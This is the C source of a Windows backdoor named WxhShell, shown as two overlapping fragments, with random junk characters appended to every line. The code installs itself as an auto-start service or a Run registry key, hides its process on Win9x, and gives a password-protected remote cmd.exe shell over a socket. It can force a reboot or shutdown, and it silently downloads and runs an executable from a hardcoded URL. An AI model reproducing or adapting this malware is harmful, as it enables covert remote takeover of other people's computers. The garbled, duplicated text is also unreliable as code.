    if(Boot(SHUTDOWN)) >|S>J+(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V?WMj $l<  
    else { gNi}EP5>  
    closesocket(wsh); :Q#H(\26r  
    ExitThread(0); \Em-.%c  
    } DwC@"i.  
    break; iqlVlm>E  
    } IM|Se4;x  
  // 获取shell @%keTTZ  
  case 's': { J4&XPr9  
    CmdShell(wsh); 8Y]}Gb!  
    closesocket(wsh); BfEx'C  
    ExitThread(0); k4* ! Q_A  
    break; n+S&!PB  
  } s=}~Q&8  
  // 退出 -{r!M(47  
  case 'x': { f>b!-|  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 5]Z]j[8Y  
    CloseIt(wsh); 7a27^b  
    break; k.h^ $f  
    } olslzXn7o  
  // 离开 +&zb^C`J  
  case 'q': { oO}>i0ax*  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); X$ejy/+.  
    closesocket(wsh); s:G [Em1  
    WSACleanup(); gx&\Kw6HM  
    exit(1); N_*u5mfQX  
    break; TosPk(o(  
        } tgS+" ugl  
  } -y9Pn>~V  
  } Ed8U;U b  
fa/P%9db  
  // 提示信息 C!oksI  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); RbyF#[}  
} |^\ Hv5  
  } 23,%=U  
o4U]lK$  
  return; Y|Nfwqz  
} a'o}u,e5  
,OFq'}q  
// shell模块句柄 w@4t$bd7  
int CmdShell(SOCKET sock) oT$(<$&<  
{ jw2_!D  
STARTUPINFO si; lsN /$ M|}  
ZeroMemory(&si,sizeof(si)); S]Sp Z8  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {: Am9B  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; #xD&z^o  
PROCESS_INFORMATION ProcessInfo; Jq=X!mT d.  
char cmdline[]="cmd"; A;b=E[i v  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); p,!fIx  
  return 0; V_7 Y1GD  
} zLE>kK  
AD0ptHUBa  
// 自身启动模式 1 yxZ  
int StartFromService(void) X=-gAutfE=  
{ -%7Jj;yA  
typedef struct jcT{ugpq  
{ )@sJTAK  
  DWORD ExitStatus; RcKQER  
  DWORD PebBaseAddress; m&(%&}g  
  DWORD AffinityMask; f/$-Nl.  
  DWORD BasePriority; r|u6OF>  
  ULONG UniqueProcessId; A} x_zt  
  ULONG InheritedFromUniqueProcessId; |8&\N  
}   PROCESS_BASIC_INFORMATION; >F_qa=t%[  
"P>$=X~Zi  
PROCNTQSIP NtQueryInformationProcess; ym-lT|>Z  
 3J'Bm"  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,k`YDy|#e  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; m? ]zomP  
Ncs4<"{$  
  HANDLE             hProcess; nph7&[xQI  
  PROCESS_BASIC_INFORMATION pbi; :e5:\|5*5  
z_)OWWdN  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); >e5q2U   
  if(NULL == hInst ) return 0; ^!-E`<jW8  
tU-#pB>H  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); "\wDS2M)  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); FB?q/ _  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); c %6 @ z  
Y`E {E|J  
  if (!NtQueryInformationProcess) return 0; Xs.$2  
-&f]X u  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); EU&6 Tg  
  if(!hProcess) return 0; ]x5(bnW x  
GgZEg ?@  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; >b/k|?xP  
`2Z4#$.  
  CloseHandle(hProcess); lN*1zM<6;  
A>ug'.  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ^=heen<S%  
if(hProcess==NULL) return 0; [<@A8Q5,y  
~(*co[_  
HMODULE hMod; 6qmo ZAg  
char procName[255]; E#&c]9QM75  
unsigned long cbNeeded; 4F1.D9u  
S>vVjq?~l(  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); tDuUAI54  
CBz(hCaI  
  CloseHandle(hProcess); f6dE\  
cN[ q)ts  
if(strstr(procName,"services")) return 1; // 以服务启动 CguU+8 ]  
zO7lsx2 =  
  return 0; // 注册表启动 OoU'86)  
} :"y7Weh  
 ?fqkM  
// 主模块 *1 J#Mdd  
int StartWxhshell(LPSTR lpCmdLine) inq4CGY  
{ 4P-'(4I)  
  SOCKET wsl; m,"cbJ /  
BOOL val=TRUE; ,_TH@0{   
  int port=0; s$+: F$Y0  
  struct sockaddr_in door; NL>[8#  
lN= m$J  
  if(wscfg.ws_autoins) Install(); ~8n~4  
eaZ)1od  
port=atoi(lpCmdLine); ] _]6&PZXk  
-h^} jP8  
if(port<=0) port=wscfg.ws_port; =4w^)'/  
CoKj'jA  
  WSADATA data; B[U.CAUn  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; #4|i@0n}D  
?@,f[U-  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   }fa%JN %E  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); n79DS(t  
  door.sin_family = AF_INET; g)zn.]  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); eA~_)-Z-  
  door.sin_port = htons(port); eiNk]KXAYX  
h#6 jUQ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { NIXcib"tG  
closesocket(wsl); n<Xm%KH.  
return 1; ]J"+VZ_"I  
} *9U4^lJjn  
Xj@    
  if(listen(wsl,2) == INVALID_SOCKET) { 1rvf\[  
closesocket(wsl); b`={s  
return 1; Y&cjJ`rw  
} R y*I~<m  
  Wxhshell(wsl); uN? O*h/(  
  WSACleanup(); :Jsz"vCg&s  
VQW)qOR9  
return 0; \Kzt*C-ZH  
4d3]pvv  
} ?T%K +  
+ke42Jwt  
// 以NT服务方式启动 =ty@xHr  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) M$5%QM}  
{ 0z<]\a4  
DWORD   status = 0; 5M.n'*   
  DWORD   specificError = 0xfffffff; 4|o{_g[  
aR(Z~z;C  
  serviceStatus.dwServiceType     = SERVICE_WIN32; q0KXuMK  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 5yN8%_)T  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; eABdy e  
  serviceStatus.dwWin32ExitCode     = 0;  6O|\4c;  
  serviceStatus.dwServiceSpecificExitCode = 0; ur"e F  
  serviceStatus.dwCheckPoint       = 0; (k2J{6]  
  serviceStatus.dwWaitHint       = 0; 7<C~D,x6  
WU4vb  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); kl{OO%jZ  
  if (hServiceStatusHandle==0) return; vS,G<V3B  
S5[RSAbf*t  
status = GetLastError(); k;Ny%%5  
  if (status!=NO_ERROR) 0f}Q~d=QL  
{ '>lPq tdZ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; (P52KD[A[  
    serviceStatus.dwCheckPoint       = 0; Ok{:QA~#  
    serviceStatus.dwWaitHint       = 0; _F$t#.o  
    serviceStatus.dwWin32ExitCode     = status; +\(ay"+ d  
    serviceStatus.dwServiceSpecificExitCode = specificError; s)'_{ A"h  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); `] dx%  
    return; {p_vR/ yN  
  } #o |&MV_j  
r1H['{$  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; CR8r|+(8  
  serviceStatus.dwCheckPoint       = 0; \oZUG  
  serviceStatus.dwWaitHint       = 0; QT&Ws+@ s{  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); z%gtV'  
} j &[WE7wf  
vgbjvyfN  
// 处理NT服务事件,比如:启动、停止 UFY~D"% /  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ZK_@.O+]  
{ ~esEql=Q3'  
switch(fdwControl) +AC-f2  
{ 'jlXLb  
case SERVICE_CONTROL_STOP: a>jI_)L  
  serviceStatus.dwWin32ExitCode = 0; )LMuxj  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; #WmAkzvq  
  serviceStatus.dwCheckPoint   = 0; 'L+BkE6+%  
  serviceStatus.dwWaitHint     = 0; 9h0,L/;\  
  { u|*| RuY  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^3@a0J=F  
  } O0*L9C/Q  
  return; s{EX ;   
case SERVICE_CONTROL_PAUSE: ua>~$`@gX  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; /Rcd}rO  
  break; 2bG4 ,M  
case SERVICE_CONTROL_CONTINUE: TdOWdPvYj  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; VKJ~ZIO@A  
  break; F^bQ-  
case SERVICE_CONTROL_INTERROGATE: xgw)`>p,W  
  break; Bst>9V&R  
}; &"6ktKrIg  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )KhVUFS1  
} K1{nxw!`  
' oeg [  
// 标准应用程序主函数 zc~xWy+  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) z ex.0OT;  
{ SIVLYi  
X ^ ]$/rI)  
// 获取操作系统版本 <hC3#dNRd  
OsIsNt=GetOsVer(); K[yJu 4  
GetModuleFileName(NULL,ExeFile,MAX_PATH); _eeX]xSSl  
 v2=!*  
  // 从命令行安装 [?6D1b[  
  if(strpbrk(lpCmdLine,"iI")) Install(); tnbs]6  
+dpj?  
  // 下载执行文件 KK3xz*W0  
if(wscfg.ws_downexe) { tSLl'XeN  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) u,9U0ua@;  
  WinExec(wscfg.ws_filenam,SW_HIDE); &fhurzzAm  
} ]8nm9qmF<  
?(UXK hs  
if(!OsIsNt) { kAQZj3P]  
// 如果时win9x,隐藏进程并且设置为注册表启动 _ll aH  
HideProc(); / H/Ne )r  
StartWxhshell(lpCmdLine); $ttr_4=  
} 2j BE+k"M  
else b'"%   
  if(StartFromService()) ;pK"N:|  
  // 以服务方式启动 c)YGwkY,,  
  StartServiceCtrlDispatcher(DispatchTable); w/D m  
else zk~rKQ,  
  // 普通方式启动 2l4i-;  
  StartWxhshell(lpCmdLine); t|"d#5'  
;9\0x  
return 0; Z`KXXlJ^i  
} m:<3d]L  
d"a7{~l  
!+ hgKZ]  
vXZz=E AH  
=========================================== Z"KuS  
T mE4p  
!h(0b*FUJ  
UimZ/\r  
~?+m=\  
~i#xjD5  
" \uIC<#o"N  
5i&V ~G  
#include <stdio.h> rmoEc]kt]  
#include <string.h> ^Exq=oV  
#include <windows.h> e(N <Mf  
#include <winsock2.h> n=MYv(Pp}  
#include <winsvc.h> jM<Ihmh|  
#include <urlmon.h> 7B :aJfxM  
L%Hm# eFx  
#pragma comment (lib, "Ws2_32.lib") ?q&mI*j!  
#pragma comment (lib, "urlmon.lib") ,"R_ve  
'F~SNIay  
#define MAX_USER   100 // 最大客户端连接数 J0plQDe  
#define BUF_SOCK   200 // sock buffer +zPg`/  
#define KEY_BUFF   255 // 输入 buffer R7b*(33  
f|E'eFrFk  
#define REBOOT     0   // 重启 0~+:~$VrT  
#define SHUTDOWN   1   // 关机 tC~itU=V  
bG?[":k  
#define DEF_PORT   5000 // 监听端口 t!C-G+It  
F+r6/e6a  
#define REG_LEN     16   // 注册表键长度 2p[3Ap  
#define SVC_LEN     80   // NT服务名长度 bJ}+<##  
C(+BrIS*  
// 从dll定义API WR1,J0UU6  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); QX|K(`of  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); }'- )  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); -*r';Mz;  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); E/ )+hK&  
5E|2 S_)G  
// wxhshell配置信息 |g+5rVbd  
struct WSCFG { F9hWB17u  
  int ws_port;         // 监听端口 j(2T,WM  
  char ws_passstr[REG_LEN]; // 口令 [D\AVx&  
  int ws_autoins;       // 安装标记, 1=yes 0=no _s,svQ8#  
  char ws_regname[REG_LEN]; // 注册表键名 \OH:xW~  
  char ws_svcname[REG_LEN]; // 服务名 [RuY'  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ajr8tp'  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 I{bi3y0  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \Y p oJ!-  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ~5529  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Ey%NqOs0#  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 @]4s&;  
J n/=v\K@  
}; nVD YAg'  
rJwJ5U  
// default Wxhshell configuration [X]o`  
struct WSCFG wscfg={DEF_PORT, t]XJ q  
    "xuhuanlingzhe", UkKpS L}Q2  
    1, ^f]pK&MAmN  
    "Wxhshell", WLb7]rCTp  
    "Wxhshell", @I:&ozy }=  
            "WxhShell Service", N"y4#W(Z@  
    "Wrsky Windows CmdShell Service", `-m7CT sA  
    "Please Input Your Password: ", 2Mp;/b!  
  1, fOAb?:D  
  "http://www.wrsky.com/wxhshell.exe", |7'W)s5.  
  "Wxhshell.exe" GK+w1%6)  
    };  `SrVMb(  
H;ib3?  
// 消息定义模块 G= e[TR)i  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; :8 :>CHa  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Nx'j+>bz>y  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; K6oLSr+EAK  
char *msg_ws_ext="\n\rExit."; Hy'&x?F6  
char *msg_ws_end="\n\rQuit."; (""&$BJQ|  
char *msg_ws_boot="\n\rReboot..."; o~p^`5#  
char *msg_ws_poff="\n\rShutdown..."; ~ .-'pdz%  
char *msg_ws_down="\n\rSave to "; 0jH2. d=  
cyyFIJj]  
char *msg_ws_err="\n\rErr!"; ,fRb6s-  
char *msg_ws_ok="\n\rOK!"; g^FH[(P[G  
2t<CAKBB  
char ExeFile[MAX_PATH]; )1le-SC  
int nUser = 0; j*}xe'#  
HANDLE handles[MAX_USER]; Pip if.  
int OsIsNt; fJKOuFK  
YR2/`9s\QJ  
SERVICE_STATUS       serviceStatus; 9"TPDU7"  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; |.5d^z  
Dlp::U*N'  
// 函数声明 M*%Z5,Tc  
int Install(void); *d 4D9(  
int Uninstall(void); mDUS9>  
int DownloadFile(char *sURL, SOCKET wsh); bql6Z1l  
int Boot(int flag); {;r5]wimb  
void HideProc(void); d|3[MnU[a  
int GetOsVer(void); F2=97 =R  
int Wxhshell(SOCKET wsl); vr$ [  
void TalkWithClient(void *cs); '"Gi&:*nQ<  
int CmdShell(SOCKET sock); ko$R%W&T  
int StartFromService(void); =8-e1R/  
int StartWxhshell(LPSTR lpCmdLine); -L@=j  
T=vI'"w  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); N{0 D<"  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); rcCM x"L=  
:M16ijkx  
// 数据结构和表定义 "- AiC6u  
SERVICE_TABLE_ENTRY DispatchTable[] = G(i/ @>l  
{ wB@A?&UY  
{wscfg.ws_svcname, NTServiceMain}, ,O(uuq  
{NULL, NULL} &I8ZVtg  
}; p{Uro!J,K  
XQ>m8K?\d  
// 自我安装 utv.uwfat  
int Install(void) %?ad.F+7  
{ -VL3em|0  
  char svExeFile[MAX_PATH]; Jh1fM`kB5K  
  HKEY key; #\qES7We 6  
  strcpy(svExeFile,ExeFile); MeC@+@C  
oID, PB*9  
// 如果是win9x系统,修改注册表设为自启动 &LE/hA  
if(!OsIsNt) { V.qB3 V$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { I~,*Rgv/Z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ET4YoH>  
  RegCloseKey(key); 3~ylBJJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { occ}|u  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6Y=)12T  
  RegCloseKey(key); i{.!1i:  
  return 0; [||$1u\%  
    } raCxHY  
  } 6;Bqu5_Cj  
} %5b2vrg~*  
else { 5K0Isuu>>  
74_ji!  
// 如果是NT以上系统,安装为系统服务 U:H*b{`TU  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 1jR<H$aS  
if (schSCManager!=0) 6v-h!1p{u  
{ YvonZ  
  SC_HANDLE schService = CreateService p 4=^ UP  
  ( ] '..G-  
  schSCManager, umY4tNe]$  
  wscfg.ws_svcname, o}BaZ|iZ2  
  wscfg.ws_svcdisp, OvkYzI`  
  SERVICE_ALL_ACCESS, k# /_Zd  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , kjH0u$n  
  SERVICE_AUTO_START, rR xqV?>n!  
  SERVICE_ERROR_NORMAL, ebf0;1!  
  svExeFile, ]`%cTdpLj  
  NULL, (c;$^xZK  
  NULL, ;tO(,^  
  NULL, Q/':<QY  
  NULL, :EZTJu  
  NULL ne%ckW?ks  
  ); W1 E(( 2  
  if (schService!=0) q*>`HTPcU  
  { -g~$HTsGm  
  CloseServiceHandle(schService); gqE{  
  CloseServiceHandle(schSCManager); @l 1 piz8  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); c}QjKJ-c  
  strcat(svExeFile,wscfg.ws_svcname); Vx'_fb?wap  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { BQsy)H`4E  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 3vx?x39*Y  
  RegCloseKey(key); :2La,  
  return 0; I_Q'+d  
    } Jf 2  
  } 6 LC*X  
  CloseServiceHandle(schSCManager); I%|W O*x  
} \\_Qv  
} $%LjIeVA5  
p\Jz<dkN1  
return 1; J*.qiUAgW  
} koFY7;_<?  
fN@2 B  
// 自我卸载 ydw')Em  
int Uninstall(void) AkGCIn3  
{ 9k1n-po  
  HKEY key; L0}"H .  
tR1 kn&w  
if(!OsIsNt) { {A{=RPL  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :*1bhk8~  
  RegDeleteValue(key,wscfg.ws_regname); fn)c&|aCt  
  RegCloseKey(key); mjf U[2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { qjuX1 6o  
  RegDeleteValue(key,wscfg.ws_regname); H'GyWG|Wx  
  RegCloseKey(key); {/N4/gu  
  return 0; k \|Hd"T  
  } ~)ls.NXI  
} Pn0V{SJOJ%  
} B+ +:7!  
else { ~nw]q<7r  
/_v@YB!0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ht ` !@B  
if (schSCManager!=0) \xwE4K  
{ +c?1\{M   
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); XDU&Z2A  
  if (schService!=0) {2A/@$?  
  { z>~Hc8*]3  
  if(DeleteService(schService)!=0) { ?Yxk1Y4ig)  
  CloseServiceHandle(schService); jT%k{"+>+?  
  CloseServiceHandle(schSCManager); i!9yN: m0  
  return 0; K[O'@v  
  } s#>Bwn&b)  
  CloseServiceHandle(schService); j*xxOwf  
  } xDm^f^}>  
  CloseServiceHandle(schSCManager); ULj'DzlfH  
} J"# o #~  
} }sZme3*J[  
y]yp8Bs+  
return 1; Gz@'W%6yaV  
} 5#~u U  
vzG(u_,9[  
// 从指定url下载文件 ^<Q+=\h  
int DownloadFile(char *sURL, SOCKET wsh) 6p])2]N>p  
{ VU9w2/cM  
  HRESULT hr; v [\' M  
char seps[]= "/"; wS9EC}s:Q  
char *token; b$[O^p9x  
char *file; f 0D9Mp  
char myURL[MAX_PATH]; l*rli[No  
char myFILE[MAX_PATH]; D=i)AZqMPp  
y ~7]9?T  
strcpy(myURL,sURL); G$ ( B26  
  token=strtok(myURL,seps); Tapj7/0`  
  while(token!=NULL) %3!DRz  
  { g4^=Q'j-  
    file=token; 4*&_h g)h  
  token=strtok(NULL,seps); Yjx*hv&?  
  } g)nsP  
FMh SHa/B  
GetCurrentDirectory(MAX_PATH,myFILE); RX3P %xZ  
strcat(myFILE, "\\"); v!JQ;OX  
strcat(myFILE, file); BxVo>r  
  send(wsh,myFILE,strlen(myFILE),0); 0rP`BK|  
send(wsh,"...",3,0); bS[;d5  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); p'tB4V qT  
  if(hr==S_OK) T*e>_\Tx  
return 0; S3l$\X;6X  
else }&M$  
return 1; +zn&DG0\X  
D-J G0.@  
} Fg;V6s/>ts  
=8#$'1K,v  
// 系统电源模块 w,f1F;!q1  
int Boot(int flag) '[g@A>xDvW  
{ RsU!mYs:H  
  HANDLE hToken; qVjl8%)  
  TOKEN_PRIVILEGES tkp; .93B@u  
/Sy:/BQ  
  if(OsIsNt) { WrP 4*6;"  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); KG=h!]Meq  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); (r78AZ  
    tkp.PrivilegeCount = 1; 6HeZ<.d&  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; m_ >+$uL  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); HY|=Z\l"  
if(flag==REBOOT) { 2B Dz \  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 0Rgo#`7l  
  return 0; C{^U^>bU  
} HuzHXn)  
else { `tZm  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) csABfxib  
  return 0; ay4E\=k  
} 9[31EiT  
  } 6_1v~#  
  else { |:Q`9;  
if(flag==REBOOT) { :.u[^_   
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) tgz  
  return 0; <Wqk5mR  
} bLSXQStB  
else { Cp{ j+Ia  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Ky(=O1Ufu  
  return 0; ixJ%wnz  
} ':Avh|q3N  
} MhT.Zg\  
ti%uyXfja  
return 1;  # ub!  
} 2g?O+'JD  
8y:c3jzP_  
// win9x进程隐藏模块 33/aYy  
void HideProc(void) "kH Ft|%@  
{ o$ disJ  
"eRf3Q7w:  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); *|97 g*G(  
  if ( hKernel != NULL ) fjGY p  
  { z;fi  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); /8](M5X]f  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 5BWO7F0v"  
    FreeLibrary(hKernel); v uP.V#  
  } \l$gcFXb  
H!uB&qY  
return; 'a1%`rzm  
} VkKq<`t<  
LNm{}VJ%  
// 获取操作系统版本 UTT7a"  
int GetOsVer(void) q4Z9;^S  
{ B{`4"uEb$G  
  OSVERSIONINFO winfo; H#zsk*=QD  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Dl/Jlsd@  
  GetVersionEx(&winfo); 8}5dyn{cvE  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ciQG.]  
  return 1; "j(?fVx  
  else r0 mXRZC  
  return 0; vbXZZ  
} +*Um:}&  
Jng,:$sZ  
// 客户端句柄模块 srX" vF  
int Wxhshell(SOCKET wsl) q>JW$8  
{ U2~7qC,!Do  
  SOCKET wsh; '8O(J7J  
  struct sockaddr_in client; yDk|ad|  
  DWORD myID;  ^##tk  
N^u,C$zP9C  
  while(nUser<MAX_USER) dM|&Y6  
{ 7*D*nY4+  
  int nSize=sizeof(client); MJxTzQE  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); P8Nzz(JF  
  if(wsh==INVALID_SOCKET) return 1; XnBpL6"T`  
Ry5/O?Q L  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); `F)Q=  
if(handles[nUser]==0) <X5'uve  
  closesocket(wsh);  3)5Gzn  
else 6L`{oSX!  
  nUser++; Q $wa<`  
  } _!m_s5{  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); N9lCbtn(0x  
j9sK P]w  
  return 0; N001c)*7Q  
} IO, kGUS  
i Eh -  
// 关闭 socket >%vw(pt  
void CloseIt(SOCKET wsh) T!GX^nn*O  
{ Z33&FUU  
closesocket(wsh); 7.G1Q]6/  
nUser--; 5)%bnLxn  
ExitThread(0); GoVB1)  
} G'*_7HD  
zP[_ccW@  
// 客户端请求句柄 [8T  
void TalkWithClient(void *cs) fa~u<m   
{ d~ lB4  
BC/oh+FW3  
  SOCKET wsh=(SOCKET)cs; b7X-mkF  
  char pwd[SVC_LEN]; YJioR4+q  
  char cmd[KEY_BUFF]; *""JE'wG  
char chr[1]; q;Y9_5S  
int i,j; CTqAhL 4}  
pH#*:v!)  
  while (nUser < MAX_USER) { yS*s[vT  
st8=1}:&\  
if(wscfg.ws_passstr) { n9qO;X4&  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); cy R K&J  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 32DSZ0  
  //ZeroMemory(pwd,KEY_BUFF); Sk*-B@!S  
      i=0; ~S5wfx&  
  while(i<SVC_LEN) { `vkNp8|  
aFZu5-=x  
  // 设置超时 )+' De  
  fd_set FdRead; c^N'g!on  
  struct timeval TimeOut; 2<Vw :+,  
  FD_ZERO(&FdRead); 2!6+>nvO  
  FD_SET(wsh,&FdRead); 0zSRk]i.f  
  TimeOut.tv_sec=8; dr25;L? B  
  TimeOut.tv_usec=0; 35 Y#eU2]  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); \t'v-x>2y5  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); )p,uZ`~v  
*6Ojv- G|5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); bp'qrcFuiL  
  pwd=chr[0]; xjm|ewo  
  if(chr[0]==0xd || chr[0]==0xa) {  |7ga9  
  pwd=0; aY/msplC  
  break; {i:5XL   
  } &}TfJ=gj  
  i++; k>W5ts2+  
    } KJ7[DN'(  
$jLJ&R=?]  
  // 如果是非法用户,关闭 socket A7{l60(5  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); t}Z*2=DO  
} HwE1cOT  
xB&kxW.;  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); H9c  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }~8/a3  
A578g  
while(1) { c&A;0**K,  
--ED]S 8  
  ZeroMemory(cmd,KEY_BUFF); (-V=&F_  
a@1 r3az  
      // 自动支持客户端 telnet标准   %s]l^RZ  
  j=0; c=S-g 9J  
  while(j<KEY_BUFF) { /0w?"2-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); r#Pkhut  
  cmd[j]=chr[0]; R~z@voM*<  
  if(chr[0]==0xa || chr[0]==0xd) { m,zZe}oJ  
  cmd[j]=0;  T?!&a0  
  break; O2W EA  
  } ?[[K6v}q{  
  j++; +y+-~;5iv  
    } {gSR49!Q  
IIN"'7Z^R  
  // 下载文件 M6ol/.G[  
  if(strstr(cmd,"http://")) { 2r+@s g  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 6Y#-5oE u/  
  if(DownloadFile(cmd,wsh)) Vrz6<c-'B  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q77iMb]  
  else NW}kvZ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YNGG> ;L  
  } &"V%n  
  else { Z19d Ted33  
UOWOOdWS B  
    switch(cmd[0]) { *{5L*\AZ  
